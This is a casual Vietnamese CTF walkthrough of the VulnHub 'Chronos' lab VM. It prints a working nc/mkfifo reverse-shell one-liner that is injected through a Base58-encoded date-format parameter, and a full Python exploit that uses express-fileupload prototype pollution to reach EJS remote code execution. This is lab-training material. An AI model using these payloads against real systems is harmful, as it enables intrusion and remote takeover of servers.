[VulnHub] Chronos

Overview

Link download: CHRONOS: 1
Difficulty: EZ (Depends on experience)

IP Victim: 10.10.10.104
IP Attacker: 10.10.10.102

Information Gathering

Scan qua loa một với Nmap…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Nmap scan report for 10.10.10.104
Host is up (0.000095s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:f2:83:a4:38:89:8d:86:a5:e1:31:76:eb:9d:5f:ea (RSA)
| 256 41:5a:21:c4:58:f2:2b:e4:8a:2f:31:73:ce:fd:37:ad (ECDSA)
|_ 256 9b:34:28:c2:b9:33:4b:37:d5:01:30:6f:87:c4:6b:23 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8000/tcp open http Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Sơ sơ thì có cổng 22 đang chạy SSH và 2 cổng 80, 8000 đang chạy HTTP Server, trong đó cổng 80 sử dụng Apache và cổng 8000 thì sử dụng NodeJS.

Thề, nhìn quả font chữ với màu hồng neon này làm tôi nhớ đến GTA: Vice City vl.
Để ý trong tab Network, thấy có một request tới chronos.local:8000 bị lỗi, giời ạ, bày đặt domain các thứ mới chịu cơ. Mở file hosts lên và thêm vào cuối file:

1
10.10.10.104 chronos.local

Ok, save lại và reload lại trang xem nào.

Ngon ngay, giờ thử truy cập thằng vào cái URL khả nghi kia để xem nó làm cái vẹo gì.

Hmm… “Permission Denied” cơ đấy, bắt cái request đó khi truy cập trên cổng 80 xem nó đang xác thực kiểu cc gì.

Haha, “User-Agent: Chronos”, server kiểm tra User-Agent và chỉ cho phép User-Agent có giá trị là “Chronos” mới được phép truy cập.
Rồi, thế, giờ làm sao để RCE được cái server này? Ai biết… thử thôi.

Exploitation

Để ý trên URI có xuất hiện đúng 1 param duy nhất

1
format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

Nhìn có vẻ giống giống Base64 đấy, nhưng chả phái đâu, đem decode với Base64 thì không bị báo lỗi, nhưng output thì lằng nhằng không ngửi nổi. Fuzzing linh tinh vào đây thì server trả về lỗi với nội dung:

Error: Non-base58 character haha, Base58!
Decode ra được nội dung '+Today is %A, %B %d, %Y %H:%M:%S.', vậy có thể đoán được câu lệnh được chạy trên server sẽ là:

1
date '+Today is %A, %B %d, %Y %H:%M:%S.'

Hay lắm tml =)) giờ thì chỉ cần chèn thêm một đoạn payload để lấy reverse-shell vào cuối, encode Base58 và gửi lại lên server cho nó thực hiện là có thể lấy được shell để RCE server này rồi.

1
2
Plantext: '+Today is %A, %B %d, %Y %H:%M:%S.'; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.102 4444 >/tmp/f
Cypher Base58: HAVsuigf4Gz6M7u4o6pcNxNNWj4x1kzw9rg2vjBHYiYj97fKD5XBTAQgFrdaibSuZwGiB4jHmiW8LZDmqYsqXqj7J2tqu4ZB7WDmJ6aF1Qf3TqRoMMqmXHBUxg4zNk7i8z4fDTK72DxQDaVLDbLDfM6NudifYrYZs

Get shell

Thay đoạn cypher kia vào request và bắn, gòi xong…

Privileges Escalation

www-data to imera

Mất một lúc kiểm tra linpeas, các kiểu, tôi nhận ra server đang mở cổng 8080, cơ mà chỉ chấp nhận kết nối từ localhost mà thôi, không thành vấn đề cho lắm khi có thể dùng Meterpreter để Port Forward. Cứ thử xem cái trang đó nó làm gì đã.

1
2
3
4
5
6
7
8
9
10
www-data@chronos:/opt/chronos$ curl localhost:8080
<!DOCTYPE html>
<html>
<head>
<title>Chronos - Version 2</title>
</head>
<body>
<h1>Coming Soon...</h1>
</body>
</html>

Ngắn tũn? Thử tìm mã nguồn của nó xem ở đâu, có đọc được không.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@chronos:/opt/chronos$ cd ..
www-data@chronos:/opt$ ls
chronos chronos-v2
www-data@chronos:/opt$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jul 30 07:50 .
drwxr-xr-x 23 root root 4096 Jul 29 08:26 ..
drwxr-xr-x 3 www-data www-data 4096 Aug 20 16:16 chronos
drwxr-xr-x 4 root root 4096 Aug 3 19:40 chronos-v2
www-data@chronos:/opt$ cd chronos-v2/
www-data@chronos:/opt/chronos-v2$ ls -al
total 20
drwxr-xr-x 4 root root 4096 Aug 3 19:40 .
drwxr-xr-x 4 root root 4096 Jul 30 07:50 ..
drwxr-xr-x 3 root root 4096 Aug 3 19:59 backend
drwxr-xr-x 3 root root 4096 Aug 3 19:41 frontend
-rw-r--r-- 1 root root 381 Aug 3 19:39 index.html
www-data@chronos:/opt/chronos-v2$ cd backend/
www-data@chronos:/opt/chronos-v2/backend$ ls -al
total 64
drwxr-xr-x 3 root root 4096 Aug 3 19:59 .
drwxr-xr-x 4 root root 4096 Aug 3 19:40 ..
drwxr-xr-x 71 root root 4096 Aug 3 19:59 node_modules
-rw-r--r-- 1 root root 296 Jul 29 15:34 package.json
-rw-r--r-- 1 root root 43066 Aug 3 19:59 package-lock.json
-rw-r--r-- 1 root root 505 Aug 3 19:37 server.js

Nội dung file server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});

Đối chiếu với kết quả Linpeas, dịch vụ trên cổng 8080 này được chạy với quyền của imera, như vậy, nếu tôi RCE được HTTP server trên cổng 8080, tôi sẽ lấy được quyền điều khiển hệ thống của imera.

1
imera      774  0.0  2.9 599132 38300 ?        Ssl  08:36   0:00 /usr/local/bin/node /opt/chronos-v2/backend/server.js

Nhận thấy trong mã nguồn có yêu cầu “express-fileupload”, Google “express-fileupload exploit”, tôi nhận được repo trên Github với mã khai thác
https://github.com/boiledsteak/EJS-Exploit
Sửa đổi câu lệnh thực thi, tôi sẽ viết một đoạn payload để lấy reverse-shell bằng python vào file /tmp/reverse.py, và câu lệnh trong EJS-Exploit sẽ là python /tmp/reverse.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
#
# Timothy, 10 November 2020
##############################################################

### imports
import requests

### commands to run on victim machine
cmd = 'python /tmp/reverse.py'

print("Starting Attack...")
### pollute
requests.post('http://localhost:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

### execute command
requests.get('http://localhost:8080')
print("Finished!")


Nếu bạn hỏi là sao phải màu mè thế, sao đéo chèn cụ luôn payload vào EJS-Exploit, thì thú thật tôi làm thế rồi, nhưng đéo được =)) Tôi chưa có câu trả lời cho vụ này, chắc là sẽ tìm hiểu thêm một chút nữa mới ra được lí do. Cơ mà tạm thế đã, lấy được shell của imera và…

imera to root

Đoè moè =)) leo root ez vãi!

Áp dụng đúng công thức mà làm, không vẽ vời…